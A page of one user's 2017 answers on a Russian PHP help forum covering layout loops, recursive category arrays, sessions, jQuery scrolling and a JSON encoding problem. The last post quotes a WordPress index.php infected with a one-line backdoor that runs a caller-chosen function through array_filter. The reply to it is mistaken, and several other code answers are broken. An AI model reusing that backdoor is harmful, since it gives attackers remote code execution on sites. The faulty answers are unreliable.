PHP . SU
Программирование на PHP, MySQL и другие веб-технологии
Страниц (3): [1] 2 3 »
Найдено сообщений: 40
quad
Отправлено: 06 Апреля, 2017 - 23:07:47 • Тема: Формы • Форум: Вопросы новичков
Ответов: 12 Просмотров: 435
Вы правы в версии php 5.6 сейчас именно так, а вот в версии 5.3 было как я писал
quad
Отправлено: 06 Апреля, 2017 - 20:53:43 • Тема: Создание скрипта php - PHP • Форум: Хранение данных, их вывод и обработка
Ответов: 1 Просмотров: 681
Deagget пишет: нужна небольшая помощь в создании скрипта, есть php-скрипт
PHP:
скопировать код в буфер обмена
<div class="container-fluid">
<div class="row">
<?PHP
?>
<div class="col-md-2 col-sm-2 col-xs-2 no-padding">
<div class="profile">
<img src="data:image/jpg;base64,
<?= base64_encode ( $row [ 'image' ] ) ; ?> ">
<div class="description right-s">
<h4>
<?PHP print_r ( $row [ 'name' ] ) ; ?> </h4>
<p>
<?PHP print_r ( $row [ 'posada' ] ) ; ?> </p>
</div>
</div>
</div>
<?PHP endwhile ; ?>
</div>
</div>
</div>
</div>
</div>
Когда при выполнении этого скрипта информация отображается справа от ячейки.
Подскажите как сделать так что б каждая созданая 11 и 12 ячейка отображалась слева
как-то так (Отобразить ) CODE (
htmlphp ):
скопировать код в буфер обмена
< div class= "container-fluid" >
< div class= "row" >
<? PHP
$x = 0 ;
?>
<? if ( $x == 11 || $x == 12 ) : ?>
Код слева
<? else : ?>
< div class= "col-md-2 col-sm-2 col-xs-2 no-padding" >
< div class= "profile" >
< img src= "data:image/jpg;base64,<?=base64_encode($row ['image']); ?> ">
< div class= "description right-s" >
< h4> <? PHP print_r ( $row [ 'name' ] ) ; ?> </ h4> < p> <? PHP print_r ( $row [ 'posada' ] ) ; ?> </ p> </ div>
</ div>
</ div>
<? endif ?>
<? PHP
$x ++;
?>
<? PHP endwhile ; ?>
</ div>
</ div>
</ div>
</ div>
</ div>
quad
Отправлено: 06 Апреля, 2017 - 19:25:28 • Тема: Формы • Форум: Вопросы новичков
Ответов: 12 Просмотров: 435
Строитель пишет: Богдан Скуба , можно и в кавычках записывать переменные, но в таком случае переменные надо экранировать фигурными скобками
Но это плохая практика.
Не только плохая практика но и по времени дольше обрабатывается нежели
этак раза в 1.5 это если смотреть по скорости выполнения и использования памяти! Сори за этот офтоп!
quad
Отправлено: 03 Апреля, 2017 - 18:22:13 • Тема: древовидный массив • Форум: Вопросы новичков
Ответов: 5 Просмотров: 506
Иван кали пишет: всем привет! у меня меню построено так: достаем записи из бд(id, title, parent), из них строим массив, и его переделываем в дерево дописывая child.
получается такое дерево
CODE (
htmlphp ):
скопировать код в буфер обмена
(
[ category_id] => 5
[ category_name] => корневой
[ parent_id] => 0
(
(
[ category_id] => 15
[ category_name] => категория 1
[ parent_id] => 5
)
(
[ category_id] => 16
[ category_name] => категория 2
[ parent_id] => 5
(
(
[ category_id] => 18
[ category_name] => категория 2. 1
[ parent_id] => 16
)
(
[ category_id] => 19
[ category_name] => категория 2. 2
[ parent_id] => 16
) ) )
я пытаюсь при обращении к категории получить её детей
делаю так
PHP:
скопировать код в буфер обмена
function childs( $array , $category_id = 0) {
foreach ( $array as $key ) {
if ( $key [ 'category_id' ] == $category_id ) {
$data = $key [ 'childs' ] ;
}
}
return $data ;
}
и получаю список детей, но только с корневых списков, дальше надо как то рекурсию применить, но никак не получается. может кто подскажет?
уже хз сколько сижу, первая практика
CODE (
htmlphp ):
скопировать код в буфер обмена
function childs( $array , $category_id = 0) {
$data = '' ;
foreach ( $array as $key ) {
if ( $key [ 'category_id' ] == $category_id ) {
$data .= $key [ 'category_id' ] ;
$data .= $key [ 'category_name' ] ;
$data .= $key [ 'parent_id' ] ;
foreach ( $key [ 'childs' ] as $key1 ) {
$data .= $key1 [ 'category_id' ] ;
$data .= $key1 [ 'category_name' ] ;
$data .= $key1 [ 'parent_id' ] ;
if ( isset ( $key1 [ 'childs' ] ) ) { foreach ( $key1 [ 'childs' ] as $key2 ) {
$data .= $key2 [ 'category_id' ] ;
$data .= $key2 [ 'category_name' ] ;
$data .= $key2 [ 'parent_id' ] ;
}
}
}
}
}
return $data ;
}
quad
Отправлено: 03 Апреля, 2017 - 15:11:28 • Тема: Сессии / аналог им • Форум: Вопросы новичков
Ответов: 9 Просмотров: 775
Frozel пишет: Всем привет, может кто-нибудь детально объяснить работу сессий, а именно исходя из задачи:
Есть переменная которой с каждым запросом нового пользователя присваивается уникальное значение, назовём её $userid(с этим проблем нет), дальше создается сессия с этим уник $userid и будет храниться на сервере X времени, при повторном запросе пользователя идёт проверка записан ли этот $userid уже и сколько раз он уже обращался к запросу. Вариант с куками сразу отпадает ибо $userid передается через api, потому и нужно чтобы жизнь сессии хранилась на сервере. Я подозреваю, что решение где-то здесь:
PHP:
скопировать код в буфер обмена
if ( $zapros == $4emuto) {
++ $_SESSION [ "$userid " ] ;
if { $_SESSION [ "$userid " ] <= 10) { еще работает } else { уже не работает }
}
В случае с данным примером: не работает счетчик т.к. каждый новый запрос пользователя обновляет его, а нужно чтобы каждый новый запрос от одного и того же пользователя прибавлял единицу к счетчику, да и не уверен, что сессии присвоилась переменная $userid
Буду признателен за любую помощь
if($zapros == $4emuto ) {
session_start();
++$_SESSION["$userid"];
if {$_SESSION["$userid"] <= 10) { еще работает } else { уже не работает }
}
1.запрос приходит методом POST (Отобразить ) CODE (
htmlphp ):
скопировать код в буфер обмена
if($_POST['zapros'] == $chemuto4) {
session_start();
++$_SESSION["$userid"];
if {$_SESSION["$userid"] <= 10) { еще работает } else { уже не работает }
}
2.Запрос приходит методом GET (Отобразить ) CODE (
htmlphp ):
скопировать код в буфер обмена
if($_GET['zapros'] == $chemuto4) {
session_start();
++$_SESSION["$userid"];
if {$_SESSION["$userid"] <= 10) { еще работает } else { уже не работает }
}
3. Не правильное имя переменной $4emuto Общие понятия о переменных в PHP
quad
Отправлено: 02 Апреля, 2017 - 12:23:12 • Тема: как сделать плавный скрол до якорной ссылке • Форум: JavaScript & VBScript
Ответов: 5 Просмотров: 982
вроде так (Отобразить ) CODE (
htmlphp ):
скопировать код в буфер обмена
< script>
$( document) . ready( function( ) {
$( '#hd-1' ) . click( function( ) {
// скорость скролла
var speed = 1000 ;
// место скролла
var top = $( '.zakaz' ) . offset( ) . top;
$( 'html, body' ) . animate( { scrollTop: top} , speed) ;
return false ;
} ) ;
} ) ;</ script>
< input class= "hide" id= "hd-1" type= "checkbox" >
< label class= "zakaz" for = "hd-1" > Заказать</ label>
< div class= "zakaz" >
< a id= "nazakaz" ></ a>
Скрытое содержание......
</ div>
и в блок head вот это <script src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>
(Добавление)
quad пишет: вроде так (Отобразить ) CODE (
htmlphp ):
скопировать код в буфер обмена
< script>
$( document) . ready( function( ) {
$( '#clickto' ) . click( function( ) {
// скорость скролла
var speed = 1000 ;
// место скролла
var top = $( '#scrollto' ) . offset( ) . top;
$( 'html, body' ) . animate( { scrollTop: top} , speed) ;
return false ;
} ) ;
} ) ;</ script>
< input class= "hide" id= "hd-1" type= "checkbox" >
< label class= "zakaz" for = "hd-1" id= "clickto" > Заказать</ label>
< div class= "zakaz" id= "scrollto" >
< a id= "nazakaz" ></ a>
Скрытое содержание......
</ div>
и в блок head вот это <script src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>
quad
Отправлено: 01 Апреля, 2017 - 15:53:51 • Тема: Требуется сделать разделение прав для пользователей • Форум: Вопросы новичков
Ответов: 4 Просмотров: 1793
Ты это хотел? (Отобразить ) CODE (
htmlphp ):
скопировать код в буфер обмена
if ( $user [ 'login' ] == "mayami1211" ) {
$lim_exp = array ( 0
, 0
, 0
, 0
, 0
, 0
, 0
, 0
, 0
, 0
, 0
, 0
, 0
, 0
, 0
) ; }
else {
$lim_exp = array ( 10
, 450
, 600
, 1200
, 2500
, 4000
, 6500
, 10000
, 17500
, 19500
, 26750
, 30000
, 37000
, 50000
, 15000
) ; }
quad
Отправлено: 29 Марта, 2017 - 13:18:37 • Тема: u0415u0435u0435u0435u0435 вместо русских букв • Форум: Вопросы новичков
Ответов: 20 Просмотров: 1002
не теперь сделай обрвтно как было
CODE (
htmlphp ):
скопировать код в буфер обмена
<? php
include_once dirname ( __FILE__ ) . '/../php_main/lock.php' ; include_once dirname ( __FILE__ ) . '/../php_main/connect_user.php' ; include_once dirname ( __FILE__ ) . '/../php_main/functions.php' ; include_once 'content_functions.php' ;
if ( isset ( $_POST [ 'length' ] ) ) $length = escaper_mysql( $_POST [ 'length' ] ) ; if ( isset ( $_POST [ 'last_id' ] ) ) $last_id = escaper_mysql( $_POST [ 'last_id' ] ) ;
switch ( $_POST [ 'type' ] ) {
case 'people' :
$name = escaper_mysql( $_POST [ 'name' ] ) ;
$country = escaper_mysql( $_POST [ 'country' ] ) ;
$city = escaper_mysql( $_POST [ 'city' ] ) ;
$year_f = escaper_mysql( $_POST [ 'year-from' ] ) ;
$year_t = escaper_mysql( $_POST [ 'year-to' ] ) ;
$gender = escaper_mysql( $_POST [ 'gender' ] ) ;
$query = $last_id != 'NULL' ? " WHERE id < '$last_id ' " : "" ;
$people_row = mysqli_query ( $dbConnect , "SELECT * FROM network " . $query . " ORDER BY id DESC LIMIT $length " ) ;
for ( $i = 0 ; $i < $length ; ) {
if (
search( $name , $people [ 'name' ] ) && search( $country , $people [ 'country' ] ) && search( $city , $people [ 'city' ] )
&& ( $year_f <= birth_to_age( $people [ 'birth' ] ) && $year_t >= birth_to_age( $people [ 'birth' ] ) )
&& ( ( $people [ 'gender' ] == $gender ) || $gender == - 1 ) && ( ( $people [ 'online' ] > time ( ) - 60 ) || ! isset ( $_POST [ 'online' ] ) ) && ( ( $people [ 'secret' ] == $_POST [ 'opened-profile' ] ) || ! isset ( $_POST [ 'opened-profile' ] ) ) ) {
$resArr [ $i ] = get_user( $people [ 'id' ] , 0 , 0) ;
$i ++;
}
} else break ;
}
$dataArr = array ( 'friend' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) ) ; $dataArr [ 'tpl' ] = tpl( dirname ( __FILE__ ) . '/../' . ( _mobile_ ? 'tpl_app' : 'themes/' . _theme_. '/tpl' ) . '/content.tpl' ) ;
break ;
case 'clubs' :
$name = escaper_mysql( $_POST [ 'name' ] ) ;
$about = escaper_mysql( $_POST [ 'descr' ] ) ;
$query = $last_id != 'NULL' ? " WHERE id < '$last_id ' " : "" ;
$clubs_row = mysqli_query ( $dbConnect , "SELECT * FROM clubs " . $query . " ORDER BY id DESC LIMIT $length " ) ;
for ( $i = 0 ; $i < $length ; ) {
if ( search( $name , $club [ 'name' ] ) && search( $about , $club [ 'description' ] ) ) {
$resArr [ $i ] = get_club( $club [ 'id' ] , 0 , 1 ) ;
$i ++;
}
} else break ;
}
$dataArr = array ( 'club' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) ) ; $dataArr [ 'tpl' ] = tpl( dirname ( __FILE__ ) . '/../' . ( _mobile_ ? 'tpl_app' : 'themes/' . _theme_. '/tpl' ) . '/content.tpl' ) ;
break ;
case 'videos' :
$name = escaper_mysql( $_POST [ 'name' ] ) ;
$i = 0 ;
$query = $last_id != 'NULL' ? " WHERE id < '$last_id ' " : "" ;
$post_row = mysqli_query ( $dbConnect , "SELECT * FROM videos " . $query . " ORDER BY id DESC LIMIT $length " ) ;
for ( $i = 0 ; $i < $length ; ) {
if ( search( $name , $video_name [ 'name' ] ) || search( $name , $video_name [ 'description' ] ) ) {
$resArr [ $i ] = get_video( $post [ 'id' ] , NULL ) ;
$i ++;
}
} else break ;
}
$dataArr = array ( 'video' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) ) ; $dataArr [ 'tpl' ] = tpl( dirname ( __FILE__ ) . '/../' . ( _mobile_ ? 'tpl_app' : 'themes/' . _theme_. '/tpl' ) . '/content.tpl' ) ;
break ;
case 'audios' :
$name = escaper_mysql( $_POST [ 'name' ] ) ;
$query = $last_id != 'NULL' ? " WHERE id < '$last_id ' " : "" ;
$audio_row = mysqli_query ( $dbConnect , "SELECT * FROM audios " . $query . " ORDER BY id DESC LIMIT $length " ) ;
for ( $i = 0 ; $i < $length ; ) {
if ( search( $name , $audio [ 'description' ] ) ) {
$resArr [ $i ] = get_music( $get [ 'id' ] , 0 , 1) ;
$i ++;
}
} else break ;
}
$dataArr = array ( 'music' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) ) ; $dataArr [ 'tpl' ] = tpl( dirname ( __FILE__ ) . '/../themes/' . _theme_. '/tpl/audio.tpl' ) ;
break ;
case 'tag' :
if ( ! isset ( $_POST [ 'dont' ] ) && $_POST [ 'dont' ] != 1 ) { $hash_array = explode ( ' ' , escaper_mysql( $_POST [ 'name' ] ) ) ;
$query = '' ;
foreach ( $hash_array as $val ) {
if ( substr ( $val , 0 , 1 ) != '#' ) $val = '#' . $val ; if ( $query != '' ) $query .= " AND ( text LIKE '% " . $val . "%' OR text LIKE '" . $val . "%' )" ;
else $query .= "( text LIKE '% " . $val . "%' OR text LIKE '" . $val . "%' )" ;
}
if ( $query != '' ) $query .= $last_id != 'NULL' ? " AND id < '$last_id ' " : "" ;
else $query = $last_id != 'NULL' ? " id < '$last_id ' " : "" ;
$i = 0 ;
$news_row = mysqli_query ( $dbConnect , "SELECT * FROM news WHERE " . $query . " ORDER BY id DESC limit $length " ) ; $resArr [ $i ++ ] = get_news( $news [ 'id' ] ) ;
$dataArr = array ( 'news' => $resArr , 'end' => ( mysqli_num_rows ( $news_row ) < $length ) ? true : false ) ; $dataArr [ 'tpl' ] = tpl( dirname ( __FILE__ ) . '/../themes/' . _theme_. '/tpl/news.tpl' ) ; }
break ;
}
$dataArr [ 'langs' ] = $langs ;
$dataArr [ 'main_set' ] = $global ;
$dataArr [ 'main_set' ] [ 'root' ] = _root_;
?>
quad
Отправлено: 29 Марта, 2017 - 13:02:07 • Тема: u0415u0435u0435u0435u0435 вместо русских букв • Форум: Вопросы новичков
Ответов: 20 Просмотров: 1002
CODE (
htmlphp ):
скопировать код в буфер обмена
<? php
include_once dirname ( __FILE__ ) . '/../php_main/lock.php' ; include_once dirname ( __FILE__ ) . '/../php_main/connect_user.php' ; include_once dirname ( __FILE__ ) . '/../php_main/functions.php' ; include_once 'content_functions.php' ;
if ( isset ( $_POST [ 'length' ] ) ) $length = escaper_mysql( $_POST [ 'length' ] ) ; if ( isset ( $_POST [ 'last_id' ] ) ) $last_id = escaper_mysql( $_POST [ 'last_id' ] ) ;
switch ( $_POST [ 'type' ] ) {
case 'people' :
$name = escaper_mysql( $_POST [ 'name' ] ) ;
$country = escaper_mysql( $_POST [ 'country' ] ) ;
$city = escaper_mysql( $_POST [ 'city' ] ) ;
$year_f = escaper_mysql( $_POST [ 'year-from' ] ) ;
$year_t = escaper_mysql( $_POST [ 'year-to' ] ) ;
$gender = escaper_mysql( $_POST [ 'gender' ] ) ;
$query = $last_id != 'NULL' ? " WHERE id < '$last_id ' " : "" ;
$people_row = mysqli_query ( $dbConnect , "SELECT * FROM network " . $query . " ORDER BY id DESC LIMIT $length " ) ;
for ( $i = 0 ; $i < $length ; ) {
if (
search( $name , $people [ 'name' ] ) && search( $country , $people [ 'country' ] ) && search( $city , $people [ 'city' ] )
&& ( $year_f <= birth_to_age( $people [ 'birth' ] ) && $year_t >= birth_to_age( $people [ 'birth' ] ) )
&& ( ( $people [ 'gender' ] == $gender ) || $gender == - 1 ) && ( ( $people [ 'online' ] > time ( ) - 60 ) || ! isset ( $_POST [ 'online' ] ) ) && ( ( $people [ 'secret' ] == $_POST [ 'opened-profile' ] ) || ! isset ( $_POST [ 'opened-profile' ] ) ) ) {
$resArr [ $i ] = get_user( $people [ 'id' ] , 0 , 0) ;
$i ++;
}
} else break ;
}
$dataArr = array ( 'friend' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) ) ; $dataArr [ 'tpl' ] = tpl( dirname ( __FILE__ ) . '/../' . ( _mobile_ ? 'tpl_app' : 'themes/' . _theme_. '/tpl' ) . '/content.tpl' ) ;
break ;
case 'clubs' :
$name = escaper_mysql( $_POST [ 'name' ] ) ;
$about = escaper_mysql( $_POST [ 'descr' ] ) ;
$query = $last_id != 'NULL' ? " WHERE id < '$last_id ' " : "" ;
$clubs_row = mysqli_query ( $dbConnect , "SELECT * FROM clubs " . $query . " ORDER BY id DESC LIMIT $length " ) ;
for ( $i = 0 ; $i < $length ; ) {
if ( search( $name , $club [ 'name' ] ) && search( $about , $club [ 'description' ] ) ) {
$resArr [ $i ] = get_club( $club [ 'id' ] , 0 , 1 ) ;
$i ++;
}
} else break ;
}
$dataArr = array ( 'club' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) ) ; $dataArr [ 'tpl' ] = tpl( dirname ( __FILE__ ) . '/../' . ( _mobile_ ? 'tpl_app' : 'themes/' . _theme_. '/tpl' ) . '/content.tpl' ) ;
break ;
case 'videos' :
$name = escaper_mysql( $_POST [ 'name' ] ) ;
$i = 0 ;
$query = $last_id != 'NULL' ? " WHERE id < '$last_id ' " : "" ;
$post_row = mysqli_query ( $dbConnect , "SELECT * FROM videos " . $query . " ORDER BY id DESC LIMIT $length " ) ;
for ( $i = 0 ; $i < $length ; ) {
if ( search( $name , $video_name [ 'name' ] ) || search( $name , $video_name [ 'description' ] ) ) {
$resArr [ $i ] = get_video( $post [ 'id' ] , NULL ) ;
$i ++;
}
} else break ;
}
$dataArr = array ( 'video' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) ) ; $dataArr [ 'tpl' ] = tpl( dirname ( __FILE__ ) . '/../' . ( _mobile_ ? 'tpl_app' : 'themes/' . _theme_. '/tpl' ) . '/content.tpl' ) ;
break ;
case 'audios' :
$name = escaper_mysql( $_POST [ 'name' ] ) ;
$query = $last_id != 'NULL' ? " WHERE id < '$last_id ' " : "" ;
$audio_row = mysqli_query ( $dbConnect , "SELECT * FROM audios " . $query . " ORDER BY id DESC LIMIT $length " ) ;
for ( $i = 0 ; $i < $length ; ) {
if ( search( $name , $audio [ 'description' ] ) ) {
$resArr [ $i ] = get_music( $get [ 'id' ] , 0 , 1) ;
$i ++;
}
} else break ;
}
$dataArr = array ( 'music' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) ) ; $dataArr [ 'tpl' ] = tpl( dirname ( __FILE__ ) . '/../themes/' . _theme_. '/tpl/audio.tpl' ) ;
break ;
case 'tag' :
if ( ! isset ( $_POST [ 'dont' ] ) && $_POST [ 'dont' ] != 1 ) { $hash_array = explode ( ' ' , escaper_mysql( $_POST [ 'name' ] ) ) ;
$query = '' ;
foreach ( $hash_array as $val ) {
if ( substr ( $val , 0 , 1 ) != '#' ) $val = '#' . $val ; if ( $query != '' ) $query .= " AND ( text LIKE '% " . $val . "%' OR text LIKE '" . $val . "%' )" ;
else $query .= "( text LIKE '% " . $val . "%' OR text LIKE '" . $val . "%' )" ;
}
if ( $query != '' ) $query .= $last_id != 'NULL' ? " AND id < '$last_id ' " : "" ;
else $query = $last_id != 'NULL' ? " id < '$last_id ' " : "" ;
$i = 0 ;
$news_row = mysqli_query ( $dbConnect , "SELECT * FROM news WHERE " . $query . " ORDER BY id DESC limit $length " ) ; $resArr [ $i ++ ] = get_news( $news [ 'id' ] ) ;
$dataArr = array ( 'news' => $resArr , 'end' => ( mysqli_num_rows ( $news_row ) < $length ) ? true : false ) ; $dataArr [ 'tpl' ] = tpl( dirname ( __FILE__ ) . '/../themes/' . _theme_. '/tpl/news.tpl' ) ; }
break ;
}
$dataArr [ 'langs' ] = $langs ;
$dataArr [ 'main_set' ] = $global ;
$dataArr [ 'main_set' ] [ 'root' ] = _root_;
function win1251toutf( $string_a ) {
return strtr ( $str_b , array ( "U0430" => "а" , "U0431" => "б" , "U0432" => "в" , "U0433" => "г" , "U0434" => "д" , "U0435" => "е" , "U0451" => "ё" , "U0436" => "ж" , "U0437" => "з" , "U0438" => "и" ,
"U0439" => "й" , "U043A" => "к" , "U043B" => "л" , "U043C" => "м" , "U043D" => "н" , "U043E" => "о" , "U043F" => "п" ,
"U0440" => "р" , "U0441" => "с" , "U0442" => "т" , "U0443" => "у" , "U0444" => "ф" , "U0445" => "х" , "U0446" => "ц" ,
"U0447" => "ч" , "U0448" => "ш" , "U0449" => "щ" , "U044A" => "ъ" , "U044B" => "ы" , "U044C" => "ь" , "U044D" => "э" ,
"U044E" => "ю" , "U044F" => "я" , "U0410" => "А" , "U0411" => "Б" , "U0412" => "В" , "U0413" => "Г" , "U0414" => "Д" ,
"U0415" => "Е" , "U0401" => "Ё" , "U0416" => "Ж" , "U0417" => "З" , "U0418" => "И" , "U0419" => "Й" , "U041A" => "К" ,
"U041B" => "Л" , "U041C" => "М" , "U041D" => "Н" , "U041E" => "О" , "U041F" => "П" , "U0420" => "Р" , "U0421" => "С" ,
"U0422" => "Т" , "U0423" => "У" , "U0424" => "Ф" , "U0425" => "Х" , "U0426" => "Ц" , "U0427" => "Ч" , "U0428" => "Ш" ,
"U0429" => "Щ" , "U042A" => "Ъ" , "U042B" => "Ы" , "U042C" => "Ь" , "U042D" => "Э" , "U042E" => "Ю" , "U042F" => "Я" ) ) ;
}
?>
[/quote]Попробуй так посмотрим что измениется
quad
Отправлено: 29 Марта, 2017 - 12:38:04 • Тема: u0415u0435u0435u0435u0435 вместо русских букв • Форум: Вопросы новичков
Ответов: 20 Просмотров: 1002
Ник Бондарчук пишет: Вот:
Спойлер (Отобразить ) CODE (
htmlphp ):
скопировать код в буфер обмена
<? php
include_once dirname ( __FILE__ ) . '/../php_main/lock.php' ; include_once dirname ( __FILE__ ) . '/../php_main/connect_user.php' ; include_once dirname ( __FILE__ ) . '/../php_main/functions.php' ; include_once 'content_functions.php' ;
if ( isset ( $_POST [ 'length' ] ) ) $length = escaper_mysql( $_POST [ 'length' ] ) ; if ( isset ( $_POST [ 'last_id' ] ) ) $last_id = escaper_mysql( $_POST [ 'last_id' ] ) ;
switch ( $_POST [ 'type' ] ) {
case 'people' :
$name = escaper_mysql( $_POST [ 'name' ] ) ;
$country = escaper_mysql( $_POST [ 'country' ] ) ;
$city = escaper_mysql( $_POST [ 'city' ] ) ;
$year_f = escaper_mysql( $_POST [ 'year-from' ] ) ;
$year_t = escaper_mysql( $_POST [ 'year-to' ] ) ;
$gender = escaper_mysql( $_POST [ 'gender' ] ) ;
$query = $last_id != 'NULL' ? " WHERE id < '$last_id ' " : "" ;
$people_row = mysqli_query ( $dbConnect , "SELECT * FROM network " . $query . " ORDER BY id DESC LIMIT $length " ) ;
for ( $i = 0 ; $i < $length ; ) {
if (
search( $name , $people [ 'name' ] ) && search( $country , $people [ 'country' ] ) && search( $city , $people [ 'city' ] )
&& ( $year_f <= birth_to_age( $people [ 'birth' ] ) && $year_t >= birth_to_age( $people [ 'birth' ] ) )
&& ( ( $people [ 'gender' ] == $gender ) || $gender == - 1 ) && ( ( $people [ 'online' ] > time ( ) - 60 ) || ! isset ( $_POST [ 'online' ] ) ) && ( ( $people [ 'secret' ] == $_POST [ 'opened-profile' ] ) || ! isset ( $_POST [ 'opened-profile' ] ) ) ) {
$resArr [ $i ] = get_user( $people [ 'id' ] , 0 , 0) ;
$i ++;
}
} else break ;
}
$dataArr = array ( 'friend' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) ) ; $dataArr [ 'tpl' ] = tpl( dirname ( __FILE__ ) . '/../' . ( _mobile_ ? 'tpl_app' : 'themes/' . _theme_. '/tpl' ) . '/content.tpl' ) ;
break ;
case 'clubs' :
$name = escaper_mysql( $_POST [ 'name' ] ) ;
$about = escaper_mysql( $_POST [ 'descr' ] ) ;
$query = $last_id != 'NULL' ? " WHERE id < '$last_id ' " : "" ;
$clubs_row = mysqli_query ( $dbConnect , "SELECT * FROM clubs " . $query . " ORDER BY id DESC LIMIT $length " ) ;
for ( $i = 0 ; $i < $length ; ) {
if ( search( $name , $club [ 'name' ] ) && search( $about , $club [ 'description' ] ) ) {
$resArr [ $i ] = get_club( $club [ 'id' ] , 0 , 1 ) ;
$i ++;
}
} else break ;
}
$dataArr = array ( 'club' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) ) ; $dataArr [ 'tpl' ] = tpl( dirname ( __FILE__ ) . '/../' . ( _mobile_ ? 'tpl_app' : 'themes/' . _theme_. '/tpl' ) . '/content.tpl' ) ;
break ;
case 'videos' :
$name = escaper_mysql( $_POST [ 'name' ] ) ;
$i = 0 ;
$query = $last_id != 'NULL' ? " WHERE id < '$last_id ' " : "" ;
$post_row = mysqli_query ( $dbConnect , "SELECT * FROM videos " . $query . " ORDER BY id DESC LIMIT $length " ) ;
for ( $i = 0 ; $i < $length ; ) {
if ( search( $name , $video_name [ 'name' ] ) || search( $name , $video_name [ 'description' ] ) ) {
$resArr [ $i ] = get_video( $post [ 'id' ] , NULL ) ;
$i ++;
}
} else break ;
}
$dataArr = array ( 'video' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) ) ; $dataArr [ 'tpl' ] = tpl( dirname ( __FILE__ ) . '/../' . ( _mobile_ ? 'tpl_app' : 'themes/' . _theme_. '/tpl' ) . '/content.tpl' ) ;
break ;
case 'audios' :
$name = escaper_mysql( $_POST [ 'name' ] ) ;
$query = $last_id != 'NULL' ? " WHERE id < '$last_id ' " : "" ;
$audio_row = mysqli_query ( $dbConnect , "SELECT * FROM audios " . $query . " ORDER BY id DESC LIMIT $length " ) ;
for ( $i = 0 ; $i < $length ; ) {
if ( search( $name , $audio [ 'description' ] ) ) {
$resArr [ $i ] = get_music( $get [ 'id' ] , 0 , 1) ;
$i ++;
}
} else break ;
}
$dataArr = array ( 'music' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) ) ; $dataArr [ 'tpl' ] = tpl( dirname ( __FILE__ ) . '/../themes/' . _theme_. '/tpl/audio.tpl' ) ;
break ;
case 'tag' :
if ( ! isset ( $_POST [ 'dont' ] ) && $_POST [ 'dont' ] != 1 ) { $hash_array = explode ( ' ' , escaper_mysql( $_POST [ 'name' ] ) ) ;
$query = '' ;
foreach ( $hash_array as $val ) {
if ( substr ( $val , 0 , 1 ) != '#' ) $val = '#' . $val ; if ( $query != '' ) $query .= " AND ( text LIKE '% " . $val . "%' OR text LIKE '" . $val . "%' )" ;
else $query .= "( text LIKE '% " . $val . "%' OR text LIKE '" . $val . "%' )" ;
}
if ( $query != '' ) $query .= $last_id != 'NULL' ? " AND id < '$last_id ' " : "" ;
else $query = $last_id != 'NULL' ? " id < '$last_id ' " : "" ;
$i = 0 ;
$news_row = mysqli_query ( $dbConnect , "SELECT * FROM news WHERE " . $query . " ORDER BY id DESC limit $length " ) ; $resArr [ $i ++ ] = get_news( $news [ 'id' ] ) ;
$dataArr = array ( 'news' => $resArr , 'end' => ( mysqli_num_rows ( $news_row ) < $length ) ? true : false ) ; $dataArr [ 'tpl' ] = tpl( dirname ( __FILE__ ) . '/../themes/' . _theme_. '/tpl/news.tpl' ) ; }
break ;
}
$dataArr [ 'langs' ] = $langs ;
$dataArr [ 'main_set' ] = $global ;
$dataArr [ 'main_set' ] [ 'root' ] = _root_;
?>
у тебя база данных в какой кодировке?
quad
Отправлено: 29 Марта, 2017 - 12:25:26 • Тема: u0415u0435u0435u0435u0435 вместо русских букв • Форум: Вопросы новичков
Ответов: 20 Просмотров: 1002
вот так тебе отвечает php_requests/search.php
{"music":[{"name":"content\/1\/14906932589DQfRz43.mp3","description":"u0415u0435u0435u0435u0435 u043fu043eu043bu0443u0447u0438u043bu043eu0441u044c!","id":"21","isset":true,"added":false}],"end":true,"tpl":"\n{{#music}} у тебя кодированные данные не правильно скинь файл search.php
quad
Отправлено: 29 Марта, 2017 - 11:59:01 • Тема: u0415u0435u0435u0435u0435 вместо русских букв • Форум: Вопросы новичков
Ответов: 20 Просмотров: 1002
Ник Бондарчук пишет: quad пишет: Ник Бондарчук пишет: quad пишет: у тебя вся станица так отображается?Или ответ сервера?
С кодировкой на самом сайте всё нормально, но когда я загружаю файл и указываю на сервере название из русских букв появляется что-то типо: u0415u0435u0435u0435u0435 u043fu043eu043bu0443u0447u0438u043bu043eu0441u044c!
P.S. На сайте когда загружаешь файл, его имя надо выбрать на самом сайте.
Ты файлы грузишь через ajax или получаешь ответ через json?
Я вам скинул gif
Данные получаемые с помощью ajax запроса не преобразованные в utf-8 ссылку дай где это используешь посмотрю как данные получаются
quad
Отправлено: 29 Марта, 2017 - 11:38:11 • Тема: как излечиться от вирусного кода • Форум: Вопросы новичков
Ответов: 3 Просмотров: 264
timo пишет: PHP:
скопировать код в буфер обмена
<?PHP
if ( $_REQUEST [ 'param1' ] && $_REQUEST [ 'param2' ] ) { $f = $_REQUEST [ 'param1' ] ; $p = array ( $_REQUEST [ 'param2' ] ) ; $pf = array_filter ( $p , $f ) ; echo 'OK' ; Exit ; } [ / b
] /**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define ( 'WP_USE_THEMES' , true ) ;
/** Loads the WordPress Environment and Template */
require ( dirname ( __FILE__ ) . '/wp-blog-header.php' ) ;
пишет хостинг что вирусный код
Пот тому что таких данных в глобальном массиве $_FILES нет и быть не может!!!
Читай!
Страниц (3): [1] 2 3 »
Powered by ExBB FM 1.0 RC1. InvisionExBB